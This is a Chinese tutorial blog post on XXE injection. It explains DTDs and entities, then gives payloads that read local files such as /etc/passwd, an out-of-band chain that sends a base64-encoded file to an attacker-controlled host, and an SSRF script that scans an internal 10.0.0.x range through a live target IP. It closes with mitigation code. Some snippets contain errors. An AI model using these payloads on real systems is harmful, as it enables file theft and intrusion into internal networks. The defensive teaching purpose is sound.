ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

XXE漏洞探究

2021-07-01 18:04:16  阅读:224  来源: 互联网

标签:xml XML 标签 实体 DTD 漏洞 探究 文档 XXE


一、背景知识

XML介绍

XML是一种非常流行的标记语言,ML就是Markup Language 标记语言的缩写,顾名思义标记语言就是把普通的文本加上标记,让计算机能够识别。这里XML是可扩展标记语言,主要用于配置文件,其他的还有HTML(超文本标记语言),XHTML(可扩展超文本标记语言),主要用于网页文件等。

XML文档的基础组成

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

1. XML声明

常用的有说明使用的编码
<?xml version="1.0" encoding="GB2312" ?>
说明文档是否独立,是否依赖外部文件,yes标识需要外部文件
<?xml version="1.0" standalone="yes" ?>

2. 文档类型定义

也叫做XML约束,XML DTD是XML约束的一种,全称为文档类型定义
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
元素声明使用规则:

  • (#PCDATA)指示元素的是正常的标签字符数据。
  • EMPTY:用于指示元素的主体为空。比如
  • ANY:用于指示元素的主题内容为任意类型。
  • (子元素):指示元素中包含的子元素。

引用外部DTD,有两种

  1. 引用的DTD文档在本地: <!DOCTYPE 根元素 SYSTEM "文件名">
    <!DOCTYPE 书架 SYSTEM “book.dtd”>
  2. 引用的DTD文档在网络上 <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
    <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

DTD引用网络文档对协议的支持:

DTD 有两种数据:

  1. PCDATA(parse character data):要给xml解析器去解析的的数据,这个主要是在DTD约束文档使用
  2. CDATA(character data):用来告诉浏览器,这部分内容不用解析,是给其他程序用的,比如js代码

3. 元素

XML元素是指XML文件中出现的标签,标签有其实标签和结束标签,中间的是主体。标签中还可以包括属性

4. 实体

  1. 内部实体与外部实体
    上面说的都是在DTD中定义元素,约束,除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的,比如:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<!-- ANY表示接受任何元素,定义了一个xml实体,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用-->
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

上面这种是内部实体,类似于在内部定义了一个变量,配合前面的引用外部DTD,可以使用外部实体,比如file协议:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(不安全)

  1. 通用实体与参数实体
    上面说的都是通用实体,除此之外还有另一种参数实体
    (1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
    (2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
    (3)和通用实体一样,参数实体也可以外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

参数实体就是触发XXE的关键

二、 能做什么

1.任意文件读

从上面的功能,第一反应可以想到的就是本地任意文件读,当我们可以控制一个xml时,我们可以发送一个带有本地文件的实体,然后用标签打印出来
server 漏洞代码:

<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]> 
<creds>&goodies;</creds>

结果:

这个poc有一个问题, 如果读取的文件里面包含标签的相关字符,比如<>这种,DTD会进行解析,解析失败就会报错。因此要用到前面说的CDATA

有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据,而不是标记的情况包含大量的 <> & 或者" 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分

<![CDATA[
XXXXXXXXXXXXXXXXX
]]>

也就是说我们要把CDATA[] 拼接到变量前后,比如直接拼接:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY start "<![CDATA[">
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]> 
<!ENTITY end "]]>"
<creds>&start;&goodies;&end;</creds>

实际测试会报错, 也就是不能在xml中拼接,要拼接以后再在xml中调用,那我们只能用参数实体,在另一个DTD中拼接好定义的字符串,再定义一个拼接好的交给xml调用,这种我们需要另外一个可以访问的外部DTD

Payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///etc/fstab">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

测试在php7成功读取到/etc/fatab里面的各种字符

2. 外带回显

使用外部实体实现外部回显

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">

payload

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

3. SSRF

既然可以读取远程读取到我们server上的evil.dtd,同理也可以访问服务器内部造成SSRF,以及内网端口扫描,脚本:

import requests
import base64

#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>


def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = '10.0.0.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
continue

4. JSON content-type XXE

般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击
HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

现在我们尝试将 Content-Type 修改为 application/xml 返回包会显示:

{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

这种情况下我们就可以尝试发送xml payload进行XXE注入

5. 文件上传

java中有一个jar://协议,格式:

jar:{url}!{path}
jar:http://host/application.jar!/file/within/the/zip

具体利用参考文章https://xz.aliyun.com/t/3357

四、修复

方案一:使用语言中推荐的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:手动黑名单过滤(不推荐)

过滤关键词:

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

五、参考链接

https://xz.aliyun.com/t/3357

标签:xml,XML,标签,实体,DTD,漏洞,探究,文档,XXE
来源: https://www.cnblogs.com/chengez/p/xxe-lou-dong.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有